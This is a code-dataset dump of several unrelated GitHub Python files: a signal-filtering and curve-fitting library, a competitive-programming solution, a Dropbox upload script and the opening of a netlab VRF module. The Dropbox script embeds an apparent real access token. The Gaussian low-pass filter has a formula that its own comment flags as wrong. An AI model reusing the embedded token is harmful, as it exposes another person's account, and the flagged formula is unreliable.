time\n    y : numpy.array\n        time dependent data\n    timeFWHM : float\n        full width at half maximum of the gaussian with units in time.  this\n        effectively sets the corner frequency of the filter\n    filterType : str\n        'high' - high-pass filter\n        'low' - low-pass filter\n    plot : bool\n        plots the results\n    plotGaussian : bool\n        plots the gaussian distribution used for the filter\n        \n    Returns\n    -------\n    yFiltered : numpy.array\n        filtered time dependent data\n        \n    References\n    ----------\n    https://en.wikipedia.org/wiki/Full_width_at_half_maximum\n    https://docs.scipy.org/doc/scipy-0.19.0/reference/generated/scipy.signal.gaussian.html\n    https://docs.scipy.org/doc/scipy/reference/generated/scipy.ndimage.gaussian_filter1d.html\n    \"\"\"\n    \n    dt=t[1]-t[0]\n    \n#    from scipy import signal\n    \n    from scipy.ndimage import gaussian_filter1d\n    \n    def fwhmToGaussFilterStd(fwhm,dt):\n        \n        std=1.0/_np.sqrt(8*_np.log(2))*fwhm/dt\n        return std\n    \n    \n    std=fwhmToGaussFilterStd(timeFWHM,dt)\n#    yFiltered=signal.gaussian(len(t), std=std)\n    \n#    if filterType=='low':\n    yFiltered=gaussian_filter1d(y*1.0,std,mode='nearest')\n#    elif filterType=='high':\n#        yFiltered=y-gaussian_filter1d(y*1.0,std)\n    \n    if plot==True:\n        \n        _plt.figure()\n        _plt.plot(t,y,label='Raw')\n        _plt.plot(t,yFiltered,label='Low-pass')\n        _plt.plot(t,y-yFiltered,label='High-pass')\n        _plt.legend()\n\n    if plotGaussian==True:\n        \n        from scipy import signal\n        _plt.figure()\n        _plt.plot(t,signal.gaussian(len(t), std=std),label='gaussian')\n        _plt.legend()\n        \n    if filterType=='low':\n        return yFiltered\n    else:\n        return y-yFiltered\n\ndef gaussianLowPassFilter(y,t,timeWidth=1./20000,plot=False,plotGaussian=False):\n    \"\"\"\n    Low pass filter using scipy's gaussian filters\n    \n    Parameters\n    ----------\n    y : numpy.array\n        time dependent data\n    t : numpy.array\n        time\n    timeWidth : float\n        full width at half maximum of the gaussian with units in time.  this\n        effectively sets the corner frequency of the filter\n        (f_{corner} \\approx 1/timeWidth)\n    plot : bool\n        plots the results\n    plotGaussian : bool\n        plots the gaussian distribution used for the filter\n        \n    Returns\n    -------\n    yFiltered : numpy.array\n        filtered time dependent data\n        \n    References\n    ----------\n    https://en.wikipedia.org/wiki/Full_width_at_half_maximum\n    https://docs.scipy.org/doc/8scipy-0.19.0/reference/generated/scipy.signal.gaussian.html\n    https://docs.scipy.org/doc/scipy/reference/generated/scipy.ndimage.gaussian_filter1d.html\n    \n    Example\n    -------\n    import numpy as np\n    t=np.arange(0,10e-3,2e-6)\n    y = np.random.randn(len(t)).cumsum()\n    y+=np.sin(2*np.pi*1000+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*3300+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*10000+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*33000+np.pi*2*np.random.rand())\n    gaussianLowPassFilter(y,t,timeWidth=1e-4,plot=True,plotGaussian=True)\n    \"\"\"\n    \n    \n    from scipy.ndimage import gaussian_filter1d\n\n    dt=t[1]-t[0]\n    #1/(dt*timeWidth*2*_np.pi)#\n    sigma= (1./(2*_np.pi))*timeWidth/dt#2.355*timeWidth/dt#  #TODO(John)  This equation is wrong.  Should be dividing by 2.355, not multiplying.  Fix here and with all dependencies\n    yFiltered=gaussian_filter1d(y,sigma)\n    \n    if plot==True:\n        \n        _plt.figure()\n        _plt.plot(t,y,label='Raw')\n        _plt.plot(t,yFiltered,label='Filtered')\n        _plt.legend()\n        _plt.grid()\n\n    if plotGaussian==True:\n        \n        from scipy import signal\n        _plt.figure()\n        _plt.plot(t,signal.gaussian(len(t), std=sigma),label='gaussian')\n        _plt.legend()\n        \n    return yFiltered\n\n\ndef gaussianHighPassFilter(y,t,timeWidth=1./20000,plot=False,plotGaussian=False):\n    \"\"\"\n    High pass filter using scipy's gaussian filters\n    \n    Parameters\n    ----------\n    y : numpy.array\n        time dependent data\n    t : numpy.array\n        time\n    timeWidth : float\n        full width at half maximum of the gaussian with units in time.  this\n        effectively sets the corner frequency of the filter\n        (f_{corner} \\approx 1/timeWidth)\n    plot : bool\n        plots the results\n    plotGaussian : bool\n        plots the gaussian distribution used for the filter\n        \n    Returns\n    -------\n    yFiltered : numpy.array\n        filtered time dependent data\n        \n    References\n    ----------\n    https://en.wikipedia.org/wiki/Full_width_at_half_maximum\n    https://docs.scipy.org/doc/scipy-0.19.0/reference/generated/scipy.signal.gaussian.html\n    https://docs.scipy.org/doc/scipy/reference/generated/scipy.ndimage.gaussian_filter1d.html\n    \n    Example\n    -------\n    import numpy as np\n    t=np.arange(0,10e-3,2e-6)\n    y = np.random.randn(len(t)).cumsum()\n    y+=np.sin(2*np.pi*1000+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*3300+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*10000+np.pi*2*np.random.rand())\n    y+=np.sin(2*np.pi*33000+np.pi*2*np.random.rand())\n    gaussianHighPassFilter(y,t,timeWidth=1./20000,plot=True,plotGaussian=True)\n    \"\"\"\n    fit=gaussianLowPassFilter(y,t,timeWidth,plot=False,plotGaussian=plotGaussian)\n    yFiltered= y-fit\n    \n    if plot==True:\n        \n        _plt.figure()\n        _plt.plot(t,y,label='Raw')\n        _plt.plot(t,fit,label='Fit')\n        _plt.plot(t,yFiltered,label='Filtered')\n        _plt.legend()\n        _plt.grid()\n        \n    return yFiltered, fit\n\n\n    \ndef butterworthFilter(y, x,filterOrder=2, samplingRate=1/(2*1e-6), \n                      cutoffFreq=20*1e3, filterType='low',plot=False):\n    \"\"\"\n    Apply a digital butterworth filter on your data\n    \n    Parameters\n    ----------\n    y : numpy.ndarray\n        unfiltered dependent data\n    x : numpy.ndarray\n        independent data\n    filterOrder : int\n        Butterworth filter order\n    samplingRate : float\n        Data sampling rate.  \n    cutoffFreq : float\n        cutoff frequency for the filter\n    filterType : str\n        filter type.  'low' is lowpass filter\n    plot : bool or str\n        - True - plots filter results. \n        - 'all'- plots filter results and filter response (psuedo-BODE plot)\n        \n    Returns\n    -------\n    filteredData : numpy.ndarray\n        Filtered dependent data\n        \n    References\n    ----------\n    https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.freqz.html\n    https://stackoverflow.com/questions/25191620/creating-lowpass-filter-in-scipy-understanding-methods-and-units\n    \"\"\"    \n    \n    \n    from scipy.signal import butter, lfilter, freqz\n    \n    def butter_lowpass(cutoff, fs, order=5):\n        nyq = 0.5 * fs\n        normal_cutoff = cutoff / nyq\n        b, a = butter(order, normal_cutoff, btype=filterType, analog=False)\n        return b, a\n    \n    def butter_lowpass_filter(data, cutoff, fs, order=5):\n        b, a = butter_lowpass(cutoff, fs, order=order)\n        y = lfilter(b, a, data)\n        return y\n        \n    def plotOfFreqResponse():\n        \n        # Get the filter coefficients so we can check its frequency response.\n        b, a = butter_lowpass(cutoffFreq, samplingRate, filterOrder)\n        \n        # calc frequency response \n        w, h = freqz(b, a, worN=8000)\n        gain=_np.abs(h)\n        phase=_np.unwrap(_np.angle(h))*180/_np.pi\n        \n        # generate gain plot        \n        p1=_plot.plot()\n        p1.xLim=[0, 0.5*samplingRate]\n        p1.xLabel='Frequency [Hz]'\n        p1.subtitle=\"Gain Response\"\n        p1.yLabel='Gain'\n        p1.yLim=[0,1.]\n        p1.title='Butterworth filter. Order=%d. Cutoff Freq=%.1f. Sampling Rate = %.1f Hz. Type = %s.' % (filterOrder, cutoffFreq, samplingRate, filterType)\n        \n        p1.xData.append(0.5*samplingRate*w/_np.pi)\n        p1.yData.append(gain)\n        p1.yLegendLabel.append('Frequency Response')\n        \n        p1.xData.append(_np.array([cutoffFreq,cutoffFreq]))\n        p1.yData.append(_np.array([0,1])) #0.5*_np.sqrt(2)\n        p1.yLegendLabel.append('Cuttoff Frequency')\n        \n        # generate phase plot        \n        p2=_plot.plot()\n        p2.xLim=[0, 0.5*samplingRate]\n        p2.xLabel='Frequency [Hz]'\n        p2.subtitle=\"Phase Response\"\n        p2.yLabel='Phase [Degrees]'\n        p2.yLim=[_np.min(phase),0]\n        \n        p2.xData.append(0.5*samplingRate*w/_np.pi)\n        p2.yData.append(phase)\n        p2.yLegendLabel.append('Frequency Response')\n        \n        p2.xData.append(_np.array([cutoffFreq,cutoffFreq]))\n        p2.yData.append(_np.array([_np.min(phase),0])) #0.5*_np.sqrt(2)\n        p2.yLegendLabel.append('Cuttoff Frequency')\n        \n        # combine into subplot\n        sp1=_plot.subPlot([p1,p2],plot=False)\n\n        return sp1\n        \n    def plotOfResults():\n        p1=_plot.plot()\n        \n        p1.xData.append(x)\n        p1.yData.append(y)\n        p1.yLegendLabel.append('Unfiltered Data')\n        \n        p1.xData.append(x)\n        p1.yData.append(filteredData)\n        p1.yLegendLabel.append('Filtered Data')\n        \n        return p1\n        \n        \n    filteredData=butter_lowpass_filter(y, cutoffFreq,\n                                       samplingRate, filterOrder)\n                                       \n    if plot==True:\n        plotOfResults().plot()\n       \n    if plot == 'all':\n        plotOfResults().plot()\n        plotOfFreqResponse().plot()\n        \n    return filteredData\n        \n                \n    \n    \n###############################################################################\n### fitting functions and related\n    \nclass polyFitData:\n    \"\"\" \n    Polynomial fit function.  \n    \n    Parameters\n    ----------\n    yData : 'numpy.array'\n        dependent variable\n    xData : 'numpy.array'\n        independent variable\n    order : int\n        order of polynomial fit.  1 = linear, 2 = quadratic, etc.\n    plot : bool\n        Causes a plot of the fit to be generated\n\n    Attributes\n    ----------\n    coefs : 'numpy.array'\n        array of fit coefficients, starts at highest order.  \n    ffit : 'numpy.lib.polynomial.poly1d'\n        function that returns yFit data given ANY numpy.array of x values\n    fitData : 'numpy.array'\n        yFit data corresponding to xData\n    plotOfFit : \n        custom plot class of data. \n        \n    Notes\n    -----\n    This is merely a wrapper function for the numpy.polyfit function.  However,\n    it also plots the result automatically.  \n    \n    output:\n    fitData is the y fit data.   \n    \"\"\"\n    \n    def __init__(self, yData, xData,order=2, plot=True):\n        title = str(order)+' order Polynomial fit'\n    \n        ### do fit\n        self.coefs=_np.polyfit(xData, yData, order)\n        self.ffit = _np.poly1d(self.coefs)\n        self.fitData=self.ffit(xData)\n        \n        ### generate plot        \n        self.plotOfFit=_plot.plot();\n        self.plotOfFit.xLabel='x'\n        self.plotOfFit.yLabel='y'\n        self.plotOfFit.title=title;\n        \n        ### raw data\n        self.plotOfFit.xData.append(xData)\n        self.plotOfFit.yData.append(yData)\n        self.plotOfFit.marker.append('.')\n        self.plotOfFit.linestyle.append('')\n        self.plotOfFit.alpha.append(.15)\n        self.plotOfFit.yLegendLabel.append('raw data')\n        \n        ### fit\n        x=_np.linspace(_np.min(xData),_np.max(xData),1000);\n        self.plotOfFit.xData.append(x)\n        self.plotOfFit.yData.append(self.ffit(x))\n        self.plotOfFit.marker.append('')\n        self.plotOfFit.linestyle.append('-')\n        self.plotOfFit.alpha.append(1.)\n        self.plotOfFit.yLegendLabel.append('poly fit order %d'%order)\n        \n        if plot==True:\n            self.plotOfFit.plot()\n            \n    \nclass genericCurveFit:\n    \"\"\"\n    generic curve fitting function that uses scipy.optimize.curve_fit solution\n    \n    I \"think\" I like the genericLeastSquaresFit code better than this function.  See below.\n    \n    func = fit function\n    indepVars = independent variables.  for multivariable, use indepVars = (x,y) etc.\n    depVars = dependent variable.  this is the single dependent variable that we are trying to model\n    guess = guess parameters.  use: guess = 8., 2., 7. etc.  \n    \n    note:  this function CAN be upgraded to include bounds\n    \n    references:\n        https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.curve_fit.html\n    \n    Example use\n    -----------\n    def dumbModel(variables,a,b,c):\n        x,y=variables\n        return _np.log(a) + b*_np.log(x) + c*_np.log(y)\n    \n    # some artificially noisy data to fit\n    x = _np.linspace(0.1,1.1,101)\n    y = _np.linspace(1.,2., 101)\n    a, b, c = 10., 4., 6.\n    z = dumbModel((x,y), a, b, c) * 1 + _np.random.random(101) / 100\n    \n    # initial guesses for a,b,c:\n    p0 = 8., 2., 7.\n    \n    # solve\n    indepVars=(x,y)\n    a=genericCurveFit(dumbModel, indepVars, z, p0)\n\n    \"\"\"    \n\n    def __init__(self,func, indepVars,depVar,guess, bounds=None,plot=True , maxNumIterations = None, fileName=''):\n        self.indepVars=indepVars;\n        self.depVars=depVar\n        self.fileName=fileName\n        \n        \n        from scipy.optimize import curve_fit\n    \n        if bounds == None:\n            self.fitParams,self.covMatrix = curve_fit(func, indepVars, depVar, guess) #, max_nfev = 1e2 , max_nfev=maxNumIterations\n        else:\n            self.fitParams,self.covMatrix = curve_fit(func, indepVars, depVar, guess, bounds=bounds) #, max_nfev = 1e2 , max_nfev=maxNumIterations\n#        print self.fitParams\n#        print self.covMatrix\n        self.fitSoln=func(indepVars, *self.fitParams)\n#        print fitSoln\n\n        self.R2=rSquared(indepVars, self.fitSoln)\n        print(r\"$R^2$ = %.3E\" % self.R2)\n\n        if plot==True:\n            self.plot();\n    \n    def plot(self):\n        _plt.figure()\n        _plt.plot(self.fitSoln, self.depVars, '.', \n                  label='scipy.optimize.curve_fit solution',alpha=0.10)\n#        _plt.plot(self.solnRobust, self.depData, 'x', label='robust least squares soln')\n        _plt.plot(_np.array([_np.min(self.depVars),_np.max(self.depVars)]),\n                  _np.array([_np.min(self.depVars),_np.max(self.depVars)]),\n                  color='r',linestyle='--',linewidth=5)\n        _plt.xlabel('Fit Solution')\n        _plt.ylabel('Dependent Data')\n        _plt.legend()    \n        _plt.grid()\n#        alphaB, alphaV, alphaR, phi0, C, C2 = self.fitParams\n        #        _plt.ylim([-5,30])\n        _plt.axes().set_aspect('equal') #, 'datalim'\n        if self.fileName != '':\n            _plt.savefig(self.fileName+'.png')\n\n\ndef _expFunction(x, a,b,c):\n    \"\"\"\n    Basic exponential function.  Used primarily with fitting functions. \n    Output = a*_np.exp(x/b)+c\n    \n    Parameters\n    ----------\n    x : numpy.ndarray\n        Independent variable\n    a : float\n        Fitting parameter.  Output = a*_np.exp(x/b)+c\n    b : float\n        Fitting parameter.  Output = a*_np.exp(x/b)+c\n    c : float\n        Fitting parameter.  Output = a*_np.exp(x/b)+c\n        \n    Returns\n    -------\n    : numpy.ndarray\n        Output = a*_np.exp(x/b)+c\n    \n    \"\"\"\n    return a*_np.exp(x/b)+c\n    \n    \ndef _cosFunction(x, a,b,c,d):\n    \"\"\"\n    Cosine function.  Used primarily with fitting functions.  \n    Output = a*_np.cos(x*d*2*_np.pi+b)+c\n    \n    Parameters\n    ----------\n    x : numpy.ndarray\n        Independent variable\n    a : float\n        Fitting parameter.  Output = a*_np.cos(x*d*2*_np.pi+b)+c\n    b : float\n        Fitting parameter.  Output = a*_np.cos(x*d*2*_np.pi+b)+c\n    c : float\n        Fitting parameter.  Output = a*_np.cos(x*d*2*_np.pi+b)+c\n    d : float\n        Fitting parameter.  Output = a*_np.cos(x*d*2*_np.pi+b)+c\n        \n    Returns\n    -------\n    : numpy.ndarray\n        Output = a*_np.cos(x*d*2*_np.pi+b)+c\n    \"\"\"\n    return a*_np.cos(x*d*2*_np.pi+b)+c\n    \n\ndef singlePowerTerm(x, a,b,c):\n    \"\"\"\n    Basic power term.  Used primarily with fitting functions.  \n    Output = a*(x)**b+c\n    \n    Parameters\n    ----------\n    x : numpy.ndarray\n        Independent variable\n    a : float\n        Fitting parameter.  Output = a*(x)**b+c\n    b : float\n        Fitting parameter.  Output = a*(x)**b+c\n    c : float\n        Fitting parameter.  Output = a*(x)**b+c\n        \n    Returns\n    -------\n    : numpy.ndarray\n        Output = a*(x)**b+c\n    \"\"\"\n    return a*(x)**b+c\n    \n    \nclass cosFit:\n    \"\"\"\n    Cos fit function.  a*_np.cos(x*d*2*_np.pi+b)+c\n\n    Parameters\n    ----------\n    y : numpy.ndarray\n        dependent data\n    x : numpy.ndarray\n        independent array\n    guess : list\n        list of four floats [a, b, c, d]=[amplitude, phase offset, amplitude offest, linear frequency].  these are the guess values.\n    plot : bool\n        causes the results to be plotted\n        \n    Attributes\n    ----------\n    fit : genericLeastSquaresFit\n    \n    Notes\n    -----\n    if you are receiving the error: \"ValueError: Residuals are not finite in \n    the initial point.\", most likely, you need to play with your initial \n    conditions to get them closer to the right answer before the fit will work\n    correctly.  \n    \n    Example use\n    -----------\n    # import library first.  I set it as hbt.pd \n    \n    >>> y=np.array([11.622967, 12.006081, 11.760928, 12.246830, 12.052126, 12.346154, 12.039262, 12.362163, 12.009269, 11.260743, 10.950483, 10.522091,  9.346292,  7.014578,  6.981853,  7.197708,  7.035624,  6.785289, 7.134426,  8.338514,  8.723832, 10.276473, 10.602792, 11.031908, 11.364901, 11.687638, 11.947783, 12.228909, 11.918379, 12.343574, 12.046851, 12.316508, 12.147746, 12.136446, 11.744371,  8.317413, 8.790837, 10.139807,  7.019035,  7.541484,  7.199672,  9.090377,  7.532161,  8.156842,  9.329572, 9.991522, 10.036448, 10.797905])\n    >>> x=np.linspace(0,2*np.pi,48)\n    >>> c=hbt.process.cosFit(y,x,guess=[2,0,10,.3])\n    # note that this example took me quite a bit of guessing with the guess \n    # values before everything fit correctly.\n\n    \"\"\"\n    def __init__(self,y,x,guess,plot=True):\n        self.fit=genericLeastSquaresFit(x=x,paramsGuess=guess,y=y, \n                                        function=_cosFunction,plot=plot)\n\n\nclass expFit:\n    \"\"\"\n    Exponential fit function\n\n    Parameters\n    ----------\n    y : numpy.ndarray\n        dependent data\n    x : numpy.ndarray\n        independent array\n    guess : list\n        list of three floats.  these are the guess values.\n    plot : bool\n        causes the results to be plotted\n        \n    Attributes\n    ----------\n    fit : genericLeastSquaresFit\n    \n    Notes\n    -----\n    if you are receiving the error: \"ValueError: Residuals are not finite in \n    the initial point.\", most likely, you need to play with your initial \n    conditions to get them closer to the right answer before the fit will work\n    correctly.  \n    \n    Example use\n    -----------\n    # import library first.  I set it as hbt.pd \n    >>> x = np.array([399.75, 989.25, 1578.75, 2168.25, 2757.75, 3347.25, 3936.75, 4526.25, 5115.75, 5705.25])\n    >>> y = np.array([109,62,39,13,10,4,2,0,1,2])\n    >>> hbt.pd.expFit(y,x,guess=[10,-100,1])\n\n    \"\"\"\n    def __init__(self,y,x,guess=[1,1,1], plot=True):\n        self.fit=genericLeastSquaresFit(x=x,paramsGuess=guess,y=y, \n                                        function=_expFunction,plot=plot)\n        \n    \nclass genericLeastSquaresFit:\n    \"\"\"\n    Least squares fitting function(class)\n    This is a wrapper for scipy.optimize.least_squares\n    \n    Parameters\n    ----------\n    y : numpy.ndarray\n        dependent data\n    x : numpy.ndarray (multidimensional)\n        independent array(s).  multiple ind. variables are supported.  \n    paramsGuess : list (of floats)\n        guess values for the fit parameters\n    function : function\n        function to attempt to fit the data to.  see exdamples _cosFunction and \n        _expFunction to see how this function should be constructed\n    yTrue : (optional) numpy.ndarray \n        if you know what the actual fit should be (for example when testing \n        this code against a known), include it here, and it will plot \n        alongside the other data.  also useful for debugging.  \n    plot : bool\n        causes the results to be plotted\n        \n    Attributes\n    ----------\n    fitParams : numpy.ndarray\n        array of fit parameters, in the same order as the guess\n    plotOfFit :\n    plotOfFitDep :\n        custom plot function of fit data plotted against dependent data.  this \n        is important if there is more than 1 dependent data array.\n    rSquared : float\n        r^2 result of the fit\n    res : \n        fit output from scipy.optimize.least_squares\n    yFit : numpy.ndarray\n        y-fit data that corresponds with the independent data\n    \n    Notes\n    -----\n    i've found that the guess values often NEED to be somewhat close to the \n    actual values for the solution to converge\n    \n    i've implemented several specific functions that implement this function.\n    see expFit and cosFit\n    \n    Example use\n    ------------\n    # define expoential function\n    def _expFunction(x, a,b,c):\n        return a*_np.exp(x/b)+c\n    # generate noisy exponential signal\n    x1=_np.linspace(-1,1,100);\n    a=_np.zeros(len(x1));\n    b=_np.zeros(len(x1));\n    c=_np.zeros(len(x1));\n    for i in range(0,len(x1)):\n        a[i]=(random.random()-0.5)/4. + 1.\n        b[i]=(random.random()-0.5)/4. + 1.\n        c[i]=(random.random()-0.5)/4. + 1.\n    y1=1+_np.pi*_np.exp(x1/_np.sqrt(2)) # actual solution\n    y2=1*a+_np.pi*b*_np.exp(x1/_np.sqrt(2)/c) # noisy solution\n    # perform fit\n    d=genericLeastSquaresFit(x1,[1,1,1],y2, _expFunction, y1,plot=True)\n    \"\"\"           \n    \n    def __init__(self, x, paramsGuess, y, function,yTrue=[],plot=True ):\n\n        def fit_fun(paramsGuess,x,y):\n            return function(x, *paramsGuess) - y\n\n        from scipy.optimize import least_squares\n        \n        self.x=x\n        self.y=y\n        self.yTrue=yTrue\n        \n        # perform least squares fit and record results\n        self.res=least_squares(fit_fun, paramsGuess, args=[x,y])  #args=(y)\n        self.yFit=function(x, *self.res.x) \n        self.fitParams=self.res.x;\n        \n        # calculate r^2\n        self.rSquared=rSquared(y,self.yFit)\n        \n        # print results to screen\n        print(r'R2 =  %.5E' % self.rSquared)\n        print('fit parameters')\n        print('\\n'.join('{}: {}'.format(*k) for k in enumerate(self.res.x)))\n        \n        # plot data\n        if plot==True:\n            if type(x) is _np.ndarray or len(x)==1:\n                self.plotOfFit().plot()\n            self.plotOfFitDep().plot()\n        \n  \n    \n    def plotOfFit(self):\n        \"\"\"\n        plots raw and fit data vs. its indep. variable.  \n        \n        Notes\n        -----\n        this function only works if there is a single indep. variable\n        \"\"\"            \n        # make sure that there is only a single indep. variable\n        if type(self.x) is _np.ndarray or len(self.x)==1:\n            p1=_plot.plot();\n            p1.yLabel='y'\n            p1.xLabel='x'\n            p1.title=r'Fit results.  R$^2$ = %.5f' % self.rSquared\n            \n            if isinstance(self.x,list):\n                x=self.x[0]\n            else:\n                x=self.x\n                \n            # raw data\n            p1.xData.append(x)\n            p1.yData.append(self.y)\n            p1.yLegendLabel.append('raw data')\n            p1.marker.append('.')\n            p1.linestyle.append('')\n            p1.color.append('b')\n            p1.alpha.append(0.3)\n            \n            # fit data\n            p1.xData.append(x)\n            p1.yData.append(self.yFit)\n            p1.yLegendLabel.append('fit')\n            p1.marker.append('')\n            p1.linestyle.append('-')\n            p1.color.append('r')\n            p1.alpha.append(1.)\n            \n            # the true data (if applicable)\n            if self.yTrue!=[]:\n                p1.xData.append(x)\n                p1.yData.append(self.yTrue)\n                p1.yLegendLabel.append('True Soln')\n                p1.marker.append('')\n                p1.linestyle.append('-')\n                p1.plotOfFit.color.append('k')\n                p1.plotOfFit.alpha.append(1.)\n                \n            return p1\n            \n    def plotOfFitDep(self):\n        \"\"\" \n        plot of fit vs dependent data.  important if there are multiple\n        independent variables.\n        \"\"\"\n        p1=_plot.plot();\n        p1.yLabel='fit data'\n        p1.xLabel='raw data'\n        p1.aspect=\"equal\"\n        \n        p1.xData.append(self.y)\n        p1.yData.append(self.yFit)\n        p1.yLegendLabel.append('actual fit')\n        p1.marker.append('.')\n        p1.linestyle.append('')\n        p1.color.append('b')\n        p1.alpha.append(0.3)\n        \n        p1.xData.append(_np.array([_np.min(self.y),_np.max(self.y)]))\n        p1.yData.append(_np.array([_np.min(self.y),_np.max(self.y)]))\n        p1.yLegendLabel.append('ideal fit line')\n        p1.marker.append('')\n        p1.linestyle.append('-')\n        p1.color.append('r')\n        p1.alpha.append(1.)\n        p1.legendLoc=  'upper left'\n        p1.title=r'Fit quality.  R$^2$ = %.5f' % self.rSquared\n        \n        return p1\n        \n        \ndef rSquared(y,f):\n    \"\"\"\n    calculates R^2 of data fit\n        \n    Parameters\n    ----------\n    y : numpy.ndarray\n        data being fit to, the dependent variable (NOT THE INDEPENDENT VARIABLE).  y is a functino of x, i.e. y=y(x)\n    f : float\n        fit data\n        \n    Returns\n    -------\n    : float \n        R^2 = 1 - \\frac{\\sum (f-y)^2 }{\\sum (y-<y>)^2 }\n    \n    Reference\n    ---------\n    https://en.wikipedia.org/wiki/Coefficient_of_determination\n    \"\"\"\n    yAve=_np.average(y);\n    SSres = _np.sum( (y-f)**2 )\n    SStot = _np.sum( (y-yAve)**2 )\n    return 1-SSres/SStot\n    \n    \n###############################################################################\n### data management related\n\ndef listArrayToNumpyArray(inData):\n    \"\"\"\n    Converts data from format a list of numpy.ndarrays to a 2D numpy.ndarray\n    e.g. inData=[_np.array, _np.array, _np.array] to outData=_np.array([3,:])\n    \n    Parameters\n    ----------\n    inData : list (of numpy.ndarray)\n        e.g. inData=[array([ 10.,  10.,  10.,  10.]),\n                     array([ 15.,  15.,  15.,  15.]),\n                     array([ 2.,  2.,  2.,  2.])]\n\n    Returns\n    -------\n    outData : numpy.ndarray (2D)\n        e.g. outData=   array([[ 10.,  15.,   2.],\n                               [ 10.,  15.,   2.],\n                               [ 10.,  15.,   2.],\n                               [ 10.,  15.,   2.]])\n\n    Notes\n    -----\n    -Note that this code requires that all arrays in the list have the same\n    length\n    -This code is so obvious that having a wrapper for it is kinda dumb...\n    \n    \"\"\"\n    outData = _np.array(inData)\n    return outData\n    \n    \n###############################################################################\n### string manipulation related\n    \ndef extractIntsFromStr(string):\n    \"\"\"\n    Extracts all integers from a string.\n    \n    Parameters\n    ----------\n    string : str\n        str with numbers embedded\n        \n    Returns\n    -------\n    numbers : list (of int)\n        list of numbers that were within string\n        \n    Example\n    -------\n    print(extractNumsFromStr(\"123HelloMy65Is23\"))\n    \n    Notes\n    -----\n    Does not work with decimal points.  Integers only.\n    \"\"\"\n    import re\n    \n    # get list of numbers\n    numbers=re.findall(r'\\d+',string)\n    \n    # convert to integers\n    for i in range(0,len(numbers)):\n        numbers[i]=int(numbers[i])\n        \n    return numbers\n     \n","repo_name":"yumouwei/hbtepLib","sub_path":"_processData.py","file_name":"_processData.py","file_ext":"py","file_size_in_byte":47000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"23213853448","text":"def mex(a):\n    m = 0\n    for i in set(a):\n        if m != i:\n            break\n        m += 1\n    return m    \n    \nt = int(input())\nfor _ in range(t):\n    n = int(input())\n    a = list(map(int, input().split(\" \")))\n    a.sort(reverse=True)\n    a1, a2 = [], []\n    for i in range(2 * n):\n        if i % 2 == 0:\n            a1.append(a[i])\n        else:\n            a2.append(a[i])\n    if mex(a1) == mex(a2):\n        print(\"YES\")\n    else:\n        print(\"NO\")\n    \n","repo_name":"Suraj1199/CompetitiveCoding_Solutions","sub_path":"CodeChef/EQUALMEX.py","file_name":"EQUALMEX.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39797340301","text":"import dropbox\nimport os\nfrom dropbox.files import WriteMode\n\nclass Transferdata:\n    def __init__(self,access_token):\n        self.access_token = access_token\n\n    def uploadfile(self,source,destination):\n        dbx = dropbox.Dropbox(self.access_token)\n        for root,folder,files in os.walk(source):\n            for i in files:\n                localpath = os.path.join(root,i) \n                relativepath = os.path.relpath(localpath,source)\n                dropboxpath = os.path.join(destination,relativepath)\n\n                f = open(localpath , \"rb\")   \n                dbx.files_upload(f.read() , dropboxpath,mode = WriteMode(\"overwrite\"))\n\ndef main():\n    access_token = \"DchsX-ktqsoAAAAAAAAAARUvSDUQoqXpzi89BUTTOWOEzbqQ_RUBa1px_9HBD6L5\"\n    filetransfer = Transferdata(access_token)\n\n    source = str(input(\"enter your Source : - \")) \n    destination = input(\"enter the destination : - \")  \n\n    filetransfer.uploadfile(source,destination)\n    print(\"file has been moved!\")\n\nmain()                     ","repo_name":"mishrasarthak08/pro-101","sub_path":"cloudupload.py","file_name":"cloudupload.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6656728598","text":"#\n# VRF module\n#\nimport typing, re\nimport netaddr\nfrom box import Box\n\nfrom . import _Module,_routing,_dataplane,get_effective_module_attribute\nfrom ..utils import log\nfrom .. import data\nfrom ..data import global_vars\nfrom ..data.validate import validate_attributes\nfrom ..data.types import must_be_list,must_be_dict,must_be_id\nfrom ..augment import devices,groups,links,addressing\n\n#\n# get_node_vrf_data: an abstraction layer that returns node-level VRF data structure\n# as it would appear after the node_post_transform hook\n#\n# You have to use this function instead of 'node or global data' logic whenever you need\n# node VRF data before VRF node_post_transform hook is executed\n#\n\ndef get_node_vrf_data(vname: str, node: Box, topology: Box) -> typing.Optional[Box]:\n  topo_data = topology.get('vrfs').get(vname,None)    # Get global VRF data (or none if there's no global data)\n  if not vname in node.get('vrfs',{}):                # If there's no node VRF data\n    return topo_data                                  # ... return global value whatever it is\n  else:\n    node_data = node.vrfs[vname]                      # We have some node VRF data, and we assume it's a Box\n    topo_data = topo_data or {}                       # Global data must be a dict/Box or the merge will fail\n    return topo_data + node_data                      # Now merge global+node data\n                                                      # ... note that the result will always be a Box\n\n#\n# Build the global data structures needed for ID/RD allocation and populate\n# them with preconfigured global- and node VRF data\n#\ndef populate_vrf_static_ids(topology: Box) -> None:\n  for k in ('id','rd'):\n    _dataplane.create_id_set(f'vrf_{k}')\n    _dataplane.extend_id_set(f'vrf_{k}',_dataplane.build_id_set(topology,'vrfs',k,'topology'))\n\n  _dataplane.set_id_counter('vrf_id',1,4095)\n\n  for n in topology.nodes.values():\n    for k in ('id','rd'):\n      _dataplane.extend_id_set(f'vrf_{k}',_dataplane.build_id_set(n,'vrfs',k,f'nodes.{n.name}'))\n\n#\n# Get a usable AS number. Try bgp.as then vrf.as from node and global settings\n#\ndef get_rd_as_number(obj: Box, topology: Box) -> typing.Optional[typing.Any]:\n  return (\n    obj.get('bgp.as',None) or\n    obj.get('vrf.as',None) or\n    topology.get('bgp.as',None) or\n    topology.get('vrf.as',None) )\n\n#\n# Parse rd/rt value -- check whether the RD/RT value is in N:N format\n#\n\ndef parse_rdrt_value(value: str) -> typing.Optional[typing.List[typing.Union[int,str]]]:\n  try:\n 